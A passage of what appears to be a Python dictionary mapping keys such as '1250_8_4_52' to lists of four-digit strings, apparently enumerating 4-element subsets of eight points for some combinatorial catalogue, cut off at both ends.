['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1250_8_4_52' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1251_8_4_48' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1252_8_4_48' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1253_8_4_51' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1254_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0467','1467','2467','0567','1567','2567','4567'] , '1255_8_4_53' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','0146','1246','0346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1256_8_4_49' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1257_8_4_52' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','1236','0146','1246','1346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1258_8_4_31' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1259_8_4_40' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','1237','0147','1247','1347','0157','1257','1357','1457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1260_8_4_49' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','1237','1347','0157','1257','0357','1357','2357','1457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1261_8_4_45' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','1237','1347','0157','1257','0357','1357','2357','1457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1262_8_4_41' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','1237','0147','1247','1347','0157','1257','1357','1457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1263_8_4_50' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','1237','1347','0157','1257','0357','1357','2357','1457','3457','0167','1267','0367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1264_8_4_48' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','1236','1346','0156','1256','0356','1356','2356','1456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1265_8_4_46' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','1236','1346','0156','1256','0356','1356','2356','1456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1266_8_4_46' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1267_8_4_51' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','1237','1347','0157','1257','0357','1357','2357','1457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1268_8_4_47' : ['0123','0134','1234','0135','1235','1345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1269_8_4_52' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','1236','1346','0156','1256','0356','1356','2356','1456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1270_8_4_52' : ['0123','0134','1234','0135','1235','1345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','1256','0356','1356','2356','1456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1271_8_4_53' : ['0123','0134','1234','0135','1235','1345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','1256','0356','1356','2356','1456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1272_8_4_33' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1273_8_4_33' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1274_8_4_52' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1275_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1276_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1277_8_4_48' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1278_8_4_52' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','2357','0457','2457','0167','0267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1279_8_4_48' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','1467','0567','1567','2567','4567'] , '1280_8_4_51' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1281_8_4_45' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','2356','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1282_8_4_53' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1283_8_4_53' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','2567','3567','4567'] , '1284_8_4_47' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1285_8_4_51' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','2357','1457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1286_8_4_48' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1287_8_4_55' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1288_8_4_55' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1289_8_4_55' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1290_8_4_53' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','0367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1291_8_4_49' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1292_8_4_49' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1293_8_4_55' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1294_8_4_49' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1295_8_4_47' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '1296_8_4_53' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1297_8_4_53' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','2357','0457','2457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1298_8_4_49' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1467','0567','1567','2567','4567'] , '1299_8_4_52' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1300_8_4_55' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1301_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1302_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1303_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1304_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1305_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1306_8_4_48' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1307_8_4_57' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1308_8_4_48' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','2356','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1309_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1310_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1311_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1312_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1313_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1314_8_4_54' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1315_8_4_50' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1316_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1317_8_4_50' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1318_8_4_50' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1319_8_4_54' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1320_8_4_54' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','2357','0457','2457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1321_8_4_54' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1322_8_4_54' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','1267','0367','2367','1467','3467','0567','2567','4567'] , '1323_8_4_50' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1467','0567','1567','2567','4567'] , '1324_8_4_53' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1325_8_4_56' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1326_8_4_55' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0257','1257','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1327_8_4_55' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1328_8_4_58' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1329_8_4_57' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1330_8_4_57' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1331_8_4_57' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1332_8_4_57' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1333_8_4_57' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1334_8_4_51' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1335_8_4_51' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1336_8_4_57' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1337_8_4_57' : 